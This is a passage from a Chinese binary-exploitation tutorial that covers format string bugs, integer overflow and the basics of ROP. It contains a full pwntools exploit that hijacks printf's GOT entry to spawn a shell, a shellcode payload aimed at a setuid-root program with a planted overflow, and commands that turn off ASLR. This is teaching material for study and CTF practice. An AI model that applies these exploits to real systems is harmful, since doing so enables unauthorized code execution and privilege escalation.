+ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+EIP: 0x8048520 (<main+138>:     add    esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048514 <main+126>:        lea    eax,[ebp-0x94]
+   0x804851a <main+132>:        push   eax
+   0x804851b <main+133>:        call   0x8048350 <printf@plt>
+=> 0x8048520 <main+138>:        add    esp,0x20
+   0x8048523 <main+141>:        sub    esp,0xc
+   0x8048526 <main+144>:        push   0xa
+   0x8048528 <main+146>:        call   0x8048370 <putchar@plt>
+   0x804852d <main+151>:        add    esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x12345678
+0012| 0xffffd53c --> 0xffffffff
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>:      add    ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530:     0xffffd564      0x00000001      0x12345678      0xffffffff
+0xffffd540:     0xffffd55a      0xffffd564      0x080481fc      0x080484b0
+0xffffd550:     0xf7ffda54      0x00000001      0x424135d0      0x00004443
+0xffffd560:     0x00000000      0xffffd538      0xffffd539      0xffffd53a
+0xffffd570:     0xffffd53b      0x34303125      0x33312563      0x6e686824
+
+

最后还得强调两点:

+
    +
  • 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
  • +
  • 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址
  • +
+

x86-64 中的格式化字符串漏洞

+

在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 RDIRSIRDXRCXR8R9 传递;而在 Windows 中,前四个参数通过 RCXRDXR8R9 来传递。

+

还是上面的程序,但是这次我们把它编译成 64 位:

+
$ gcc -fno-stack-protector -no-pie fmt.c
+
+

使用 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p. 作为输入:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+RAX: 0x0
+RBX: 0x0
+RCX: 0xffffffff
+RDX: 0x88888888
+RSI: 0x1
+RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>:    push   r15)
+RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')
+RIP: 0x400648 (<main+113>:      call   0x4004e0 <printf@plt>)
+R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
+R9 : 0xa ('\n')
+R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')
+R11: 0x246
+R12: 0x400500 (<_start>:        xor    ebp,ebp)
+R13: 0x7fffffffe540 --> 0x1
+R14: 0x0
+R15: 0x0
+EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x40063d <main+102>: mov    r8,rdi
+   0x400640 <main+105>: mov    rdi,rax
+   0x400643 <main+108>: mov    eax,0x0
+=> 0x400648 <main+113>: call   0x4004e0 <printf@plt>
+   0x40064d <main+118>: mov    edi,0xa
+   0x400652 <main+123>: call   0x4004d0 <putchar@plt>
+   0x400657 <main+128>: nop
+   0x400658 <main+129>: leave
+Guessed arguments:
+arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
+[------------------------------------stack-------------------------------------]
+0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')
+0008| 0x7fffffffe3c8 --> 0x4443 ('CD')
+0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.")
+0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.")
+0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')
+0056| 0x7fffffffe3f8 --> 0x1
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x0000000000400648 in main ()
+gdb-peda$ x/10g $rsp
+0x7fffffffe3c0: 0x4241000000000000      0x0000000000004443
+0x7fffffffe3d0: 0x4141414141414141      0x70252e70252e7025
+0x7fffffffe3e0: 0x252e70252e70252e      0x2e70252e70252e70
+0x7fffffffe3f0: 0x00002e70252e7025      0x0000000000000001
+0x7fffffffe400: 0x0000000000f0b5ff      0x00000000000000c2
+gdb-peda$ c
+Continuing.
+AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
+
+

可以看到我们最后的输出中,前五个数字分别来自寄存器 RSIRDXRCXR8R9,后面的数字才取自栈,0x4141414141414141%8$p 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 RDI 被用于传递格式字符串,可以从 gdb 中看到,arg[0] 就是由 RDI 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 arg2 的值了,因为它被存入了寄存器中。

+

CTF 中的格式化字符串漏洞

+

pwntools pwnlib.fmtstr 模块

+

文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html

+

该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 FmtStr 和一个函数 fmtstr_payload

+

FmtStr 提供了自动化的字符串漏洞利用:

+
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
+
+
    +
  • execute_fmt (function):与漏洞进程进行交互的函数
  • +
  • offset (int):你控制的第一个格式化程序的偏移量
  • +
  • padlen (int):在 paylod 之前添加的 pad 的大小
  • +
  • numbwritten (int):已经写入的字节数
  • +
+

fmtstr_payload 用于自动生成格式化字符串 paylod:

+
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
+
+
    +
  • offset (int):你控制的第一个格式化程序的偏移量
  • +
  • writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
  • +
  • numbwritten (int):已经由 printf 函数写入的字节数
  • +
  • write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
  • +
+

我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):fmt.c fmt

+
#include<stdio.h>
+void main() {
+    char str[1024];
+    while(1) {
+        memset(str, '\0', 1024);
+        read(0, str, 1024);
+        printf(str);
+        fflush(stdout);
+    }
+}
+
+

为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定:

+
# echo 0 > /proc/sys/kernel/randomize_va_space
+$ gcc -m32 -fno-stack-protector -no-pie fmt.c
+
+

很明显,程序存在格式化字符串漏洞,我们的思路是将 printf() 函数的地址改成 system() 函数的地址,这样当我们再次输入 /bin/sh 时,就可以获得 shell 了。

+

第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 main 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下:

+
gdb-peda$ b main
+...
+gdb-peda$ r
+...
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd1f0 ("AAAA\n")
+EBX: 0x804a000 --> 0x8049f10 --> 0x1
+ECX: 0xffffd1f0 ("AAAA\n")
+EDX: 0x400
+ESI: 0xf7f97000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
+EIP: 0x8048512 (<main+92>:      call   0x8048370 <printf@plt>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048508 <main+82>: sub    esp,0xc
+   0x804850b <main+85>: lea    eax,[ebp-0x408]
+   0x8048511 <main+91>: push   eax
+=> 0x8048512 <main+92>: call   0x8048370 <printf@plt>
+   0x8048517 <main+97>: add    esp,0x10
+   0x804851a <main+100>:        mov    eax,DWORD PTR [ebx-0x4]
+   0x8048520 <main+106>:        mov    eax,DWORD PTR [eax]
+   0x8048522 <main+108>:        sub    esp,0xc
+Guessed arguments:
+arg[0]: 0xffffd1f0 ("AAAA\n")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
+0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
+0008| 0xffffd1e8 --> 0x400
+0012| 0xffffd1ec --> 0x80484d0 (<main+26>:      add    ebx,0x1b30)
+0016| 0xffffd1f0 ("AAAA\n")
+0020| 0xffffd1f4 --> 0xa ('\n')
+0024| 0xffffd1f8 --> 0x0
+0028| 0xffffd1fc --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048512 in main ()
+
+

我们看到输入 printf() 的变量 arg[0]: 0xffffd1f0 ("AAAA\n") 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。

+

读取重定位表获得 printf() 的 GOT 地址(第一列 Offset):

+
$ readelf -r a.out
+
+Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
+ Offset     Info    Type            Sym.Value  Sym. Name
+08049ff8  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
+08049ffc  00000706 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0
+
+Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
+ Offset     Info    Type            Sym.Value  Sym. Name
+0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
+0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
+0804a014  00000307 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
+0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
+0804a01c  00000607 R_386_JUMP_SLOT   00000000   memset@GLIBC_2.0
+
+

在 gdb 中获得 printf() 的虚拟地址:

+
gdb-peda$ p printf
+$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
+
+

获得 system() 的虚拟地址:

+
gdb-peda$ p system
+$1 = {<text variable, no debug info>} 0xf7e17060 <system>
+
+

好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:

+
# -*- coding: utf-8 -*-
+from pwn import *
+
+elf = ELF('./a.out')
+r = process('./a.out')
+libc = ELF('/usr/lib32/libc.so.6')
+
+# 计算偏移量
+def exec_fmt(payload):
+    r.sendline(payload)
+    info = r.recv()
+    return info
+auto = FmtStr(exec_fmt)
+offset = auto.offset
+
+# 获得 printf 的 GOT 地址
+printf_got = elf.got['printf']
+log.success("printf_got => {}".format(hex(printf_got)))
+
+# 获得 printf 的虚拟地址
+payload = p32(printf_got) + '%{}$s'.format(offset)
+r.send(payload)
+printf_addr = u32(r.recv()[4:8])
+log.success("printf_addr => {}".format(hex(printf_addr)))
+
+# 获得 system 的虚拟地址
+system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
+log.success("system_addr => {}".format(hex(system_addr)))
+
+payload = fmtstr_payload(offset, {printf_got : system_addr})
+r.send(payload)
+r.send('/bin/sh')
+r.recv()
+r.interactive()
+$ python2 exp.py
+[*] '/home/firmy/Desktop/RE4B/a.out'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      No PIE (0x8048000)
+[+] Starting local process './a.out': pid 17375
+[*] '/usr/lib32/libc.so.6'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    Canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+[*] Found format string offset: 4
+[+] printf_got => 0x804a010
+[+] printf_addr => 0xf7e26bf0
+[+] system_addr => 0xf7e17060
+[*] Switching to interactive mode
+$ echo "hacked!"
+hacked!
+
+

这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。

+

3.1.2 整数溢出

+ +

什么是整数溢出

+

简介

+

在 C 语言基础的章节中,我们介绍了 C 语言整数的基础知识,下面我们详细介绍整数的安全问题。

+

由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。(x86-32 的数据模型是 ILP32,即整数(Int)、长整数(Long)和指针(Pointer)都是 32 位。)

+

整数溢出的危害

+

如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

+

整数溢出

+

关于整数的异常情况主要有三种:

+
    +
  • 溢出
  • +
  • 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
  • +
  • 溢出标志 OF 可检测有符号数的溢出
  • +
  • 回绕
  • +
  • 无符号数 0-1 时会变成最大的数,如 1 字节的无符号数会变为 255,而 255+1 会变成最小数 0
  • +
  • 进位标志 CF 可检测无符号数的回绕
  • +
  • 截断
  • +
  • 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
  • +
+

有符号整数溢出

+
    +
  • 上溢出
  • +
+
int i;
+i = INT_MAX;  // 2 147 483 647
+i++;
+printf("i = %d\n", i);  // i = -2 147 483 648
+
+
    +
  • 下溢出
  • +
+
i = INT_MIN;  // -2 147 483 648
+i--;
+printf("i = %d\n", i);  // i = 2 147 483 647
+
+

无符号数回绕

+

涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。

+

使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:

+

img

+
unsigned int ui;
+ui = UINT_MAX;  // 在 x86-32 上为 4 294 967 295
+ui++;
+printf("ui = %u\n", ui);  // ui = 0
+ui = 0;
+ui--;
+printf("ui = %u\n", ui);  // 在 x86-32 上,ui = 4 294 967 295
+
+

截断

+
    +
  • 加法截断:
  • +
+
0xffffffff + 0x00000001
+= 0x0000000100000000 (long long)
+= 0x00000000 (long)
+
+
    +
  • 乘法截断:
  • +
+
0x00123456 * 0x00654321
+= 0x000007336BF94116 (long long)
+= 0x6BF94116 (long)
+
+

整型提升和宽度溢出

+

整型提升是指当计算表达式中包含了不同宽度的操作数时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。

+

示例:源码

+
#include<stdio.h>
+void main() {
+    int l;  
+    short s;
+    char c;
+
+    l = 0xabcddcba;
+    s = l;
+    c = l;
+
+    printf("宽度溢出\n");
+    printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
+    printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
+    printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);
+
+    printf("整型提升\n");
+    printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
+}
+$ ./a.out
+宽度溢出
+l = 0xabcddcba (32 bits)
+s = 0xffffdcba (16 bits)
+c = 0xffffffba (8 bits)
+整型提升
+s + c = 0xffffdc74 (32 bits)
+
+

使用 gdb 查看反汇编代码:

+
gdb-peda$ disassemble main
+Dump of assembler code for function main:
+   0x0000056d <+0>:     lea    ecx,[esp+0x4]
+   0x00000571 <+4>:     and    esp,0xfffffff0
+   0x00000574 <+7>:     push   DWORD PTR [ecx-0x4]
+   0x00000577 <+10>:    push   ebp
+   0x00000578 <+11>:    mov    ebp,esp
+   0x0000057a <+13>:    push   ebx
+   0x0000057b <+14>:    push   ecx
+   0x0000057c <+15>:    sub    esp,0x10
+   0x0000057f <+18>:    call   0x470 <__x86.get_pc_thunk.bx>
+   0x00000584 <+23>:    add    ebx,0x1a7c
+   0x0000058a <+29>:    mov    DWORD PTR [ebp-0xc],0xabcddcba
+   0x00000591 <+36>:    mov    eax,DWORD PTR [ebp-0xc]
+   0x00000594 <+39>:    mov    WORD PTR [ebp-0xe],ax
+   0x00000598 <+43>:    mov    eax,DWORD PTR [ebp-0xc]
+   0x0000059b <+46>:    mov    BYTE PTR [ebp-0xf],al
+   0x0000059e <+49>:    sub    esp,0xc
+   0x000005a1 <+52>:    lea    eax,[ebx-0x1940]
+   0x000005a7 <+58>:    push   eax
+   0x000005a8 <+59>:    call   0x400 <puts@plt>
+   0x000005ad <+64>:    add    esp,0x10
+   0x000005b0 <+67>:    sub    esp,0x4
+   0x000005b3 <+70>:    push   0x20
+   0x000005b5 <+72>:    push   DWORD PTR [ebp-0xc]
+   0x000005b8 <+75>:    lea    eax,[ebx-0x1933]
+   0x000005be <+81>:    push   eax
+   0x000005bf <+82>:    call   0x3f0 <printf@plt>
+   0x000005c4 <+87>:    add    esp,0x10
+   0x000005c7 <+90>:    movsx  eax,WORD PTR [ebp-0xe]
+   0x000005cb <+94>:    sub    esp,0x4
+   0x000005ce <+97>:    push   0x10
+   0x000005d0 <+99>:    push   eax
+   0x000005d1 <+100>:   lea    eax,[ebx-0x191f]
+   0x000005d7 <+106>:   push   eax
+   0x000005d8 <+107>:   call   0x3f0 <printf@plt>
+   0x000005dd <+112>:   add    esp,0x10
+   0x000005e0 <+115>:   movsx  eax,BYTE PTR [ebp-0xf]
+   0x000005e4 <+119>:   sub    esp,0x4
+   0x000005e7 <+122>:   push   0x8
+   0x000005e9 <+124>:   push   eax
+   0x000005ea <+125>:   lea    eax,[ebx-0x190b]
+   0x000005f0 <+131>:   push   eax
+   0x000005f1 <+132>:   call   0x3f0 <printf@plt>
+   0x000005f6 <+137>:   add    esp,0x10
+   0x000005f9 <+140>:   sub    esp,0xc
+   0x000005fc <+143>:   lea    eax,[ebx-0x18f7]
+   0x00000602 <+149>:   push   eax
+   0x00000603 <+150>:   call   0x400 <puts@plt>
+   0x00000608 <+155>:   add    esp,0x10
+   0x0000060b <+158>:   movsx  edx,WORD PTR [ebp-0xe]
+   0x0000060f <+162>:   movsx  eax,BYTE PTR [ebp-0xf]
+   0x00000613 <+166>:   add    eax,edx
+   0x00000615 <+168>:   sub    esp,0x4
+   0x00000618 <+171>:   push   0x20
+   0x0000061a <+173>:   push   eax
+   0x0000061b <+174>:   lea    eax,[ebx-0x18ea]
+   0x00000621 <+180>:   push   eax
+   0x00000622 <+181>:   call   0x3f0 <printf@plt>
+   0x00000627 <+186>:   add    esp,0x10
+   0x0000062a <+189>:   nop
+   0x0000062b <+190>:   lea    esp,[ebp-0x8]
+   0x0000062e <+193>:   pop    ecx
+   0x0000062f <+194>:   pop    ebx
+   0x00000630 <+195>:   pop    ebp
+   0x00000631 <+196>:   lea    esp,[ecx-0x4]
+   0x00000634 <+199>:   ret
+End of assembler dump.
+
+

在整数转换的过程中,有可能导致下面的错误:

+
    +
  • 损失值:转换为值的大小不能表示的一种类型
  • +
  • 损失符号:从有符号类型转换为无符号类型,导致损失符号
  • +
+

漏洞多发函数

+

我们说过整数溢出要配合上其他类型的缺陷才能有用,下面的两个函数都有一个 size_t 类型的参数,常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。

+
#include <string.h>
+
+void *memcpy(void *dest, const void *src, size_t n);
+
+

memcpy() 函数将 src 所指向的字符串中以 src 地址开始的前 n 个字节复制到 dest 所指的数组中,并返回 dest

+
#include <string.h>
+
+char *strncpy(char *dest, const char *src, size_t n);
+
+

strncpy() 函数从源 src 所指的内存地址的起始位置开始复制 n 个字节到目标 dest 所指的内存地址的起始位置中。

+

两个函数中都有一个类型为 size_t 的参数,它是无符号整型的 sizeof 运算符的结果。

+
typedef unsigned int size_t;
+
+

整数溢出示例

+

现在我们已经知道了整数溢出的原理和主要形式,下面我们先看几个简单示例,然后实际操作利用一个整数溢出漏洞。

+

示例

+

示例一,整数转换:

+
char buf[80];
+void vulnerable() {
+    int len = read_int_from_network();
+    char *p = read_string_from_network();
+    if (len > 80) {
+        error("length too large: bad dog, no cookie for you!");
+        return;
+    }
+    memcpy(buf, p, len);
+}
+
+

这个例子的问题在于,如果攻击者给 len 赋于了一个负数,则可以绕过 if 语句的检测,而执行到 memcpy() 的时候,由于第三个参数是 size_t 类型,负数 len 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 buf 中,引发了缓冲区溢出。

+

示例二,回绕和溢出:

+
void vulnerable() {
+    size_t len;
+    // int len;
+    char* buf;
+
+    len = read_int_from_network();
+    buf = malloc(len + 5);
+    read(fd, buf, len);
+    ...
+}
+
+

这个例子看似避开了缓冲区溢出的问题,但是如果 len 过大,len+5 有可能发生回绕。比如说,在 x86-32 上,如果 len = 0xFFFFFFFF,则 len+5 = 0x00000004,这时 malloc() 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 len 声明为有符号 int 类型,len+5 可能发生溢出)

+

示例三,截断:

+
void main(int argc, char *argv[]) {
+    unsigned short int total;
+    total = strlen(argv[1]) + strlen(argv[2]) + 1;
+    char *buf = (char *)malloc(total);
+    strcpy(buf, argv[1]);
+    strcat(buf, argv[2]);
+    ...
+}
+
+

这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 total 表示,则会发生截断,从而导致后面的缓冲区溢出。

+

实战

+

看了上面的示例,我们来真正利用一个整数溢出漏洞。源码

+
#include<stdio.h>
+#include<string.h>
+void validate_passwd(char *passwd) {
+    char passwd_buf[11];
+    unsigned char passwd_len = strlen(passwd);
+    if(passwd_len >= 4 && passwd_len <= 8) {
+        printf("good!\n");
+        strcpy(passwd_buf, passwd);
+    } else {
+        printf("bad!\n");
+    }
+}
+
+int main(int argc, char *argv[]) {
+    if(argc != 2) {
+        printf("error\n");
+        return 0;
+    }
+    validate_passwd(argv[1]);
+}
+
+

上面的程序中 strlen() 返回类型是 size_t,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 if 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。

+

编译命令:

+
# echo 0 > /proc/sys/kernel/randomize_va_space
+$ gcc -g -fno-stack-protector -z execstack vuln.c
+$ sudo chown root vuln
+$ sudo chgrp root vuln
+$ sudo chmod +s vuln
+
+

使用 gdb 反汇编 validate_passwd 函数。

+
gdb-peda$ disassemble validate_passwd
+Dump of assembler code for function validate_passwd:
+   0x0000059d <+0>:     push   ebp                            ; 压入 ebp
+   0x0000059e <+1>:     mov    ebp,esp
+   0x000005a0 <+3>:     push   ebx                            ; 压入 ebx
+   0x000005a1 <+4>:     sub    esp,0x14
+   0x000005a4 <+7>:     call   0x4a0 <__x86.get_pc_thunk.bx>
+   0x000005a9 <+12>:    add    ebx,0x1a57
+   0x000005af <+18>:    sub    esp,0xc
+   0x000005b2 <+21>:    push   DWORD PTR [ebp+0x8]
+   0x000005b5 <+24>:    call   0x430 <strlen@plt>
+   0x000005ba <+29>:    add    esp,0x10
+   0x000005bd <+32>:    mov    BYTE PTR [ebp-0x9],al         ; 将 len 存入 [ebp-0x9]
+   0x000005c0 <+35>:    cmp    BYTE PTR [ebp-0x9],0x3
+   0x000005c4 <+39>:    jbe    0x5f2 <validate_passwd+85>
+   0x000005c6 <+41>:    cmp    BYTE PTR [ebp-0x9],0x8
+   0x000005ca <+45>:    ja     0x5f2 <validate_passwd+85>
+   0x000005cc <+47>:    sub    esp,0xc
+   0x000005cf <+50>:    lea    eax,[ebx-0x1910]
+   0x000005d5 <+56>:    push   eax
+   0x000005d6 <+57>:    call   0x420 <puts@plt>
+   0x000005db <+62>:    add    esp,0x10
+   0x000005de <+65>:    sub    esp,0x8
+   0x000005e1 <+68>:    push   DWORD PTR [ebp+0x8]
+   0x000005e4 <+71>:    lea    eax,[ebp-0x14]                ; 取 passwd_buf 地址
+   0x000005e7 <+74>:    push   eax                           ; 压入 passwd_buf
+   0x000005e8 <+75>:    call   0x410 <strcpy@plt>
+   0x000005ed <+80>:    add    esp,0x10
+   0x000005f0 <+83>:    jmp    0x604 <validate_passwd+103>
+   0x000005f2 <+85>:    sub    esp,0xc
+   0x000005f5 <+88>:    lea    eax,[ebx-0x190a]
+   0x000005fb <+94>:    push   eax
+   0x000005fc <+95>:    call   0x420 <puts@plt>
+   0x00000601 <+100>:   add    esp,0x10
+   0x00000604 <+103>:   nop
+   0x00000605 <+104>:   mov    ebx,DWORD PTR [ebp-0x4]
+   0x00000608 <+107>:   leave  
+   0x00000609 <+108>:   ret
+End of assembler dump.
+
+

通过阅读反汇编代码,我们知道缓冲区 passwd_buf 位于 ebp=0x14 的位置(0x000005e4 <+71>: lea eax,[ebp-0x14]),而返回地址在 ebp+4 的位置,所以返回地址相对于缓冲区 0x18 的位置。我们测试一下:

+
gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
+Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
+good!
+
+Program received signal SIGSEGV, Segmentation fault.
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd0f4 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)
+EBX: 0x41414141 ('AAAA')
+ECX: 0xffffd490 --> 0x534c0043 ('C')
+EDX: 0xffffd1f8 --> 0xffff0043 --> 0x0
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0x41414141 ('AAAA')
+ESP: 0xffffd110 ('C' <repeats 200 times>...)
+EIP: 0x42424242 ('BBBB')
+EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+Invalid $PC address: 0x42424242
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd110 ('C' <repeats 200 times>...)
+0004| 0xffffd114 ('C' <repeats 200 times>...)
+0008| 0xffffd118 ('C' <repeats 200 times>...)
+0012| 0xffffd11c ('C' <repeats 200 times>...)
+0016| 0xffffd120 ('C' <repeats 200 times>...)
+0020| 0xffffd124 ('C' <repeats 200 times>...)
+0024| 0xffffd128 ('C' <repeats 200 times>...)
+0028| 0xffffd12c ('C' <repeats 200 times>...)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0x42424242 in ?? ()
+
+

可以看到 EIPBBBB 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload:

+
from pwn import *
+
+ret_addr = 0xffffd118     # ebp = 0xffffd108
+shellcode = shellcraft.i386.sh()
+
+payload = "A" * 24
+payload += p32(ret_addr)
+payload += "\x90" * 20
+payload += asm(shellcode)
+payload += "C" * 169      # 24 + 4 + 20 + 44 + 169 = 261
+
+

3.1.4 返回导向编程(ROP)

+ +

ROP 简介

+

返回导向编程(Return-Oriented Programming,缩写:ROP)是一种高级的内存攻击技术,该技术允许攻击者在现代操作系统的各种通用防御下执行代码,如内存不可执行和代码签名等。这类攻击往往利用操作堆栈调用时的程序漏洞,通常是缓冲区溢出。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),每一段 gadget 通常以 return 指令(ret,机器码为c3)结束,并位于共享库代码中的子程序中。通过执行这些指令序列,也就控制了程序的执行。

+

ret 指令相当于 pop eip。即,首先将 esp 指向的 4 字节内容读取并赋值给 eip,然后 esp 加上 4 字节指向栈的下一个位置。如果当前执行的指令序列仍然以 ret 指令结束,则这个过程将重复, esp 再次增加并且执行下一个指令序列。

+

寻找 gadgets

+
    +
  1. 在程序中寻找所有的 c3(ret) 字节
  2. +
  3. 向前搜索,看前面的字节是否包含一个有效指令,这里可以指定最大搜索字节数,以获得不同长度的 gadgets
  4. +
  5. 记录下我们找到的所有有效指令序列
  6. +
+

理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 http://ropshell.com/。

+

常用的 gadgets

+

对于 gadgets 能做的事情,基本上只要你敢想,它就敢执行。下面简单介绍几种用法:

+
    +
  • 保存栈数据到寄存器
  • +
  • 将栈顶的数据抛出并保存到寄存器中,然后跳转到新的栈顶地址。所以当返回地址被一个 gadgets 的地址覆盖,程序将在返回后执行该指令序列。
  • +
  • 如:pop eax; ret
  • +
  • 保存内存数据到寄存器
  • +
  • 将内存地址处的数据加载到内存器中。
  • +
  • 如:mov ecx,[eax]; ret
  • +
  • 保存寄存器数据到内存
  • +
  • 将寄存器的值保存到内存地址处。
  • +
